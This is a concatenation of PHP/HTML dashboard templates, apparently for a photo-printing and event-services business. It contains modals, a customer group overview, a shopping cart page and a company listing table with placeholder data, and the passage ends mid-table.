<div class="form-group clearfix mt-3">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Inform">Mentality :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select"
id="Inform">
<option value="1">Happy</option>
<option value="2">Sad</option>
<option value="3">Arrogant</option>
<option value="4">Luxuries</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold pt-3"
for="Inform">Grade :</label>
</div>
<div class="col-lg-9">
<div class="rating-stars block" id="more-rating">
<div class="rating-stars-container text-left">
<div class="rating-star p-0 is--active is--hover">
<i class="fas fa-star fa-1x"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab3-3-3">
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Address :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="3"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
<div class="row">
<div class="col-lg-3 mt-4">
<label class="form-label font-weight-bold">Static Phone
:</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="tel" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="col-12 mt-1">
<img class="border-dark"
src="/assets/images/photos/Matican Location Map + Pin.png"
width="100%" alt="">
</div>
</div>
<div class="tab-pane" id="tab4-4-4">
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Source :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1">Advertisement</option>
<option value="2">Website</option>
<option value="3">Instagram</option>
<option value="3">Telegram</option>
<option value="3">Email</option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Inform">Related title :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select"
id="Inform">
<option value="1">Groom</option>
<option value="2">Bride</option>
<option value="3">Relative</option>
<option value="4">Friend</option>
</select>
</div>
</div>
<div class="row mt-4">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Related Person
:</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1"><NAME></option>
<option value="2"><NAME></option>
<option value="3"><NAME></option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save Changes
</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="company-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3">Choose Company</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">Company Type :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option>Type 1</option>
<option>Type 2</option>
<option>Type3</option>
</select>
</div>
</div>
</div>
</div>
<div class="col-12">
<div class="row mt-3">
<div class="col-md-12 col-lg-12">
<div class="table-responsive ">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white border-dark">
<tr>
<th class="text-white">Name</th>
<th class="text-white text-center">Type</th>
<th class="text-white text-center">Proficiency</th>
<th class="text-white text-center"></th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Name1</th>
<td class="text-center">Catering</td>
<td class="text-center">Service 1</td>
<td class="text-center">
<button type="button"
class="btn-pill btn-outline-secondary btn-sm"
data-type="plus" data-field="">Select
</button>
</td>
</tr>
<tr>
<th scope="row">Name2</th>
<td class="text-center">Catering</td>
<td class="text-center">Birthday</td>
<td class="text-center">
<button type="button"
class="btn-pill btn-outline-secondary btn-sm"
data-type="plus" data-field="">Select
</button>
</td>
</tr>
<tr>
<th scope="row">Name3</th>
<td class="text-center">Catering</td>
<td class="text-center">Party</td>
<td class="text-center">
<button type="button"
class="btn-pill btn-outline-secondary btn-sm"
data-type="plus" data-field="">Select
</button>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary btn-sm"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<div id="comment-modal" class="modal fade">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content ">
<div class="modal-header pd-x-20">
<h6 class="modal-title">Comment</h6>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body pd-20">
<h5 class=" lh-3 mg-b-20 mb-4"><a href="" class="font-weight-bold">Whats your comment for editor?</a>
</h5>
<textarea class="form-control mb-5" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
<div class="modal-footer pb-0">
<button type="button" class="btn btn-primary btn-sm">Register</button>
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Close</button>
</div>
</div>
</div><!-- modal-dialog -->
</div><!-- modal -->
</div>
<div class="modal fade" id="order-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Make New Order</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-11" class="active font-weight-bold"
data-toggle="tab">Order info</a></li>
<li><a href="#tab2-22" class="font-weight-bold" data-toggle="tab">Photo
comment</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-11">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">product type :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1">photo size</option>
<option value="2">canvas</option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="form-label font-weight-bold">size :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control " data-placeholder="">
<option value="1"></option>
<option value="2"></option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="form-label font-weight-bold">print type :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control " data-placeholder="">
<option>metallic</option>
<option>silk</option>
<option>water glass</option>
<option>luster</option>
</select>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab2-22">
<div class="row mb-3 mt-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">your comment for editor :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary btn-sm"><i class="fas fa-shopping-cart"></i>
Add To Card
</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="portfolio-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3">Add To Portfolio</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">Related folder :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option>Folder 1</option>
<option>Folder 2</option>
<option>Folder 3</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">Company :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option>company 1</option>
<option>company 2</option>
<option>company 3</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Inform">Other tag :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select"
id="Inform">
<option value="1">tag 1</option>
<option value="2">tag 2</option>
<option value="3">tag 3</option>
<option value="4">tag 4</option>
<option value="5">tag 5</option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary btn-sm"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/select2/select2.full.min.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
];
?><file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Customer Group Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#add-modal"><i
class="fas fa-plus"></i></button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-xl-4 col-lg-6 col-md-12 ">
<div class="card box-widget widget-user">
<div class="widget-user-header bg-gradient-primary"></div>
<div class="widget-user-image"><img alt="User Avatar" class="rounded-circle bg-white" src="../assets/images/svgs/png/027-delivery.png"></div>
<div class="card-body text-center mt-3">
<div class="pro-user ">
<h3 class="pro-user-username text-dark ">Group Customer Number 1</h3>
<h6 class="pro-user-desc text-muted mb-5">Total Customers : 1600</h6>
<a href="/customergroup-view" class="btn btn-dark btn-sm"><i class="fas fa-eye mr-1"></i>View</a>
<a href="#" class="btn btn-primary btn-sm"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
<div class="card-footer p-0">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<h5 class="description-header">615</h5><span class="text-muted">Male customers</span>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<h5 class="description-header">985</h5><span class="text-muted">Female customers</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12 ">
<div class="card box-widget widget-user">
<div class="widget-user-header bg-gradient-primary"></div>
<div class="widget-user-image"><img alt="User Avatar" class="rounded-circle bg-white" src="../assets/images/svgs/png/006-box.png"></div>
<div class="card-body text-center mt-3">
<div class="pro-user ">
<h3 class="pro-user-username text-dark ">Group Customer Number 2</h3>
<h6 class="pro-user-desc text-muted mb-5">Total Customers : 950</h6>
<a href="/customergroup-view" class="btn btn-dark btn-sm"><i class="fas fa-eye mr-1"></i>View</a>
<a href="#" class="btn btn-primary btn-sm"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
<div class="card-footer p-0">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<h5 class="description-header">430</h5><span class="text-muted">Male customers</span>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<h5 class="description-header">520</h5><span class="text-muted">Female customers</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12 ">
<div class="card box-widget widget-user">
<div class="widget-user-header bg-gradient-primary"></div>
<div class="widget-user-image"><img alt="User Avatar" class="rounded-circle bg-white" src="../assets/images/svgs/png/108-search.png"></div>
<div class="card-body text-center mt-3">
<div class="pro-user ">
<h3 class="pro-user-username text-dark ">Group Customer Number 3</h3>
<h6 class="pro-user-desc text-muted mb-5">Total Customers : 2600</h6>
<a href="/customergroup-view" class="btn btn-dark btn-sm"><i class="fas fa-eye mr-1"></i>View</a>
<a href="#" class="btn btn-primary btn-sm"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
<div class="card-footer p-0">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<h5 class="description-header">1600</h5><span class="text-muted">Male customers</span>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<h5 class="description-header">1000</h5><span class="text-muted">Female customers</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12 ">
<div class="card box-widget widget-user">
<div class="widget-user-header bg-gradient-primary"></div>
<div class="widget-user-image"><img alt="User Avatar" class="rounded-circle bg-white" src="../assets/images/svgs/png/120-trolley.png"></div>
<div class="card-body text-center mt-3">
<div class="pro-user ">
<h3 class="pro-user-username text-dark ">Group Customer Number 4</h3>
<h6 class="pro-user-desc text-muted mb-5">Total Customers : 1600</h6>
<a href="/customergroup-view" class="btn btn-dark btn-sm"><i class="fas fa-eye mr-1"></i>View</a>
<a href="#" class="btn btn-primary btn-sm"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
<div class="card-footer p-0">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<h5 class="description-header">615</h5><span class="text-muted">Male customers</span>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<h5 class="description-header">985</h5><span class="text-muted">Female customers</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12 ">
<div class="card box-widget widget-user">
<div class="widget-user-header bg-gradient-primary"></div>
<div class="widget-user-image"><img alt="User Avatar" class="rounded-circle bg-white" src="../assets/images/svgs/png/103-product-1.png"></div>
<div class="card-body text-center mt-3">
<div class="pro-user ">
<h3 class="pro-user-username text-dark ">Group Customer Number 5</h3>
<h6 class="pro-user-desc text-muted mb-5">Total Customers : 950</h6>
<a href="/customergroup-view" class="btn btn-dark btn-sm"><i class="fas fa-eye mr-1"></i>View</a>
<a href="#" class="btn btn-primary btn-sm"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
<div class="card-footer p-0">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<h5 class="description-header">430</h5><span class="text-muted">Male customers</span>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<h5 class="description-header">520</h5><span class="text-muted">Female customers</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-6 col-md-12 ">
<div class="card box-widget widget-user">
<div class="widget-user-header bg-gradient-primary"></div>
<div class="widget-user-image"><img alt="User Avatar" class="rounded-circle bg-white" src="../assets/images/svgs/png/016-cargo-3.png"></div>
<div class="card-body text-center mt-3">
<div class="pro-user ">
<h3 class="pro-user-username text-dark ">Group Customer Number 6</h3>
<h6 class="pro-user-desc text-muted mb-5">Total Customers : 2600</h6>
<a href="/customergroup-view" class="btn btn-dark btn-sm"><i class="fas fa-eye mr-1"></i>View</a>
<a href="#" class="btn btn-primary btn-sm"><i class="fas fa-pen mr-1"></i>Edit</a>
</div>
</div>
<div class="card-footer p-0">
<div class="row">
<div class="col-sm-6 border-right ">
<div class="description-block">
<h5 class="description-header">1600</h5><span class="text-muted">Male customers</span>
</div>
</div>
<div class="col-sm-6">
<div class="description-block">
<h5 class="description-header">1000</h5><span class="text-muted">Female customers</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Customer Group</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-1" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-1">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Group name :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/js/morris.js',
'/assets/plugins/morris/morris.min.js',
'/assets/plugins/morris/raphael.min.js',
'/assets/plugins/chartist/chartist.js',
'/assets/plugins/chartist/chart.chartist.js',
'/assets/plugins/chartist/chartist-plugin-tooltip.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'/assets/plugins/select2/select2.full.min.js',
];
?>
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Shopping Cart</h4>
</div>
</div>
<!--page header-->
<div class="card">
<div class="card-body">
<div class="table-responsive border-top text-center">
<table class="table table-bordered table-vcenter text-nowrap">
<thead class="bg-primary text-white">
<tr>
<th>Product</th>
<th>Title</th>
<th class="w-25">Quantity</th>
<th>Print Type</th>
<th>Delivery Date</th>
<th>Price</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<img src="../assets/images/photos/5451076.jpg" alt="" class="h-8">
</td>
<td>Photo Frame</td>
<td>
<div class="input-group input-indec">
<span class="input-group-btn">
<button type="button"
class="quantity-left-minus btn btn-light btn-number"
data-type="minus" data-field="">
<i class="fas fa-minus"></i>
</button>
</span>
<input type="text" name="quantity"
class="form-control input-number text-center quantity" value="1">
<span class="input-group-btn">
<button type="button"
class="quantity-right-plus btn btn-light btn-number"
data-type="plus" data-field="">
<i class="fas fa-plus"></i>
</button>
</span>
</div>
</td>
<td>
<div class="form-group ">
<select class="form-control select2 custom-select" data-placeholder="">
<option value="1">metallic</option>
<option value="2">silk</option>
<option value="3">water glass</option>
<option value="4">luster</option>
</select>
</div>
</td>
<td>
<div class="form-group clearfix mt-3">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker" id="StartDate"
placeholder="MM/DD/YYYY" type="text">
</div>
</div>
</td>
<td class="font-weight-bold">$568</td>
<td>
<a href="javascript:void(0)" class="btn btn-info mr-3"
data-toggle="tooltip" data-placement="top" title="Remove"><i
class="si si-trash fs-16"></i></a>
</td>
</tr>
<tr>
<td>
<img src="../assets/images/photos/1108452.png" alt="" class="h-8">
</td>
<td>Canvas</td>
<td>
<div class="input-group input-indec">
<span class="input-group-btn">
<button type="button"
class="quantity-left-minus btn btn-light btn-number"
data-type="minus" data-field="">
<i class="fas fa-minus"></i>
</button>
</span>
<input type="text" name="quantity"
class="form-control input-number text-center quantity" value="1">
<span class="input-group-btn">
<button type="button"
class="quantity-right-plus btn btn-light btn-number"
data-type="plus" data-field="">
<i class="fas fa-plus"></i>
</button>
</span>
</div>
</td>
<td>
<div class="form-group ">
<select class="form-control select2 custom-select" data-placeholder="">
<option value="1">metallic</option>
<option value="2">silk</option>
<option value="3">water glass</option>
<option value="4">luster</option>
</select>
</div>
</td>
<td>
<div class="form-group clearfix mt-3">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="StartDate" placeholder="MM/DD/YYYY"
type="text">
</div>
</div>
</td>
<td class="font-weight-bold">$58</td>
<td>
<a href="javascript:void(0)" class="btn btn-info mr-3"
data-toggle="tooltip" data-placement="top" title="Remove"><i
class="si si-trash fs-16"></i></a>
</td>
</tr>
</tbody>
</table>
</div>
<br>
<div class="row">
<div class="col-12 text-center">
<div class="row">
<div class="col-8"><input class="productcart form-control mt-1" type="text"
placeholder="Coupon Code"></div>
<div class="col-4"><a href="#" class="btn btn-primary btn-md mt-1">Apply Coupon</a>
</div>
</div>
</div>
</div>
<br>
<div class="mt-3">
<ul class="list-group">
<li class="list-group-item">
Sub Toatl
<span class="badgetext h4 font-weight-bold mb-0">$4,360</span>
</li>
<li class="list-group-item">
Discount
<span class="badgetext h4 font-weight-bold mb-0">5%</span>
</li>
<li class="list-group-item">
Shipping
<span class="badgetext h4 font-weight-bold mb-0">Free</span>
</li>
<li class="list-group-item">
Tax
<span class="badgetext h4 font-weight-bold mb-0">12%</span>
</li>
<li class="list-group-item">
Total
<span class="badgetext h4 font-weight-bold mb-0">$3,976</span>
</li>
</ul>
</div>
</div>
<div class="card-footer text-right">
<a href="#" class="btn btn-primary mt-1"><i class="fas fa-arrow-left mr-1"></i>Continue Shopping</a>
<a href="#" class="btn btn-success mt-1">Payment<i class="fas fa-arrow-right ml-1"></i></a>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/rangeslider/ion.rangeSlider.js',
'/assets/js/rangeslider.js',
'/assets/plugins/date-picker/spectrum.js',
'/assets/plugins/date-picker/jquery-ui.js',
'/assets/plugins/input-mask/jquery.maskedinput.js',
'/assets/js/index2.js',
'/assets/plugins/select2/select2.full.min.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'/assets/js/custom.js',
'/assets/js/index4.js',
];
?><file_sep>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Company Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#add-modal"><i class="fas fa-plus"></i></button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-xl-4 col-md-12">
<div class="our-services-wrapper card">
<div class="services-inner">
<div class="our-services-img">
<div class="icon icon-shape bg-pink-dark rounded-circle text-white">
<i class="fas fa-dollar-sign text-white"></i>
</div>
</div>
<div class="our-services-text">
<h4>Income from companies</h4>
<h5 class="text-muted">1,500,000,000 toman</h5>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-md-12">
<div class="our-services-wrapper card">
<div class="services-inner c">
<div class="our-services-img">
<div class="icon icon-shape bg-warning rounded-circle text-white">
<i class="far fa-handshake text-white"></i>
</div>
</div>
<div class="our-services-text">
<h4>Total deals from companies</h4>
<h5 class="text-muted">186</h5>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-md-12">
<div class="our-services-wrapper card">
<div class="services-inner">
<div class="our-services-img">
<div class="icon icon-shape bg-blue-dark rounded-circle text-white">
<i class="fas fa-check text-white"></i>
</div>
</div>
<div class="our-services-text">
<h4>Success deals from companies</h4>
<h5 class="text-muted">134</h5>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Company name</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-10p border-bottom-0 text-center">Responsible</th>
<th class="wd-10p border-bottom-0 text-center">Tel</th>
<th class="wd-20p border-bottom-0 text-center">Num of projects</th>
<th class="wd-25p border-bottom-0 text-center">Place </th>
<th class="wd-25p border-bottom-0 text-center">Rate</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Parvaz</td>
<td class="text-center">Transferring</td>
<td class="text-center">Mahdie Azizi</td>
<td class="text-center">1455445</td>
<td class="text-center">911</td>
<td class="text-center">Karaj</td>
<td class="text-center">
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-14"><i class="fas fa-star"></i></span>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/company-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Sam</td>
<td class="text-center">Digital</td>
<td class="text-center"><NAME></td>
<td class="text-center">112548</td>
<td class="text-center">194</td>
<td class="text-center">Janat</td>
<td class="text-center">
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-14"><i class="fas fa-star"></i></span>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/company-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Fararo</td>
<td class="text-center">Digital</td>
<td class="text-center"><NAME></td>
<td class="text-center">1168855</td>
<td class="text-center">331</td>
<td class="text-center">Sohrevardi</td>
<td class="text-center">
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-14"><i class="fas fa-star"></i></span>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/company-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Shafagh</td>
<td class="text-center">Food</td>
<td class="text-center">Ali Azimi</td>
<td class="text-center">885468</td>
<td class="text-center">208</td>
<td class="text-center">Tajrish</td>
<td class="text-center">
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-14"><i class="fas fa-star"></i></span>
</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/company-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Beauty</td>
<td class="text-center">Mezon</td>
<td class="text-center">Fatemeh Esfandiar</td>
<td class="text-center">2269854</td>
<td class="text-center">519</td>
<td class="text-center"><NAME></td>
<td class="text-center">
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-14"><i class="fas fa-star"></i></span>
</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/company-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">First</td>
<td class="text-center">Digital</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">1168954</td>
<td class="text-center">453</td>
<td class="text-center">Saadat Abad</td>
<td class="text-center">
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-warning fs-14"><i class="fas fa-star"></i></span>
<span class="text-secondary fs-14"><i class="fas fa-star"></i></span>
</td>
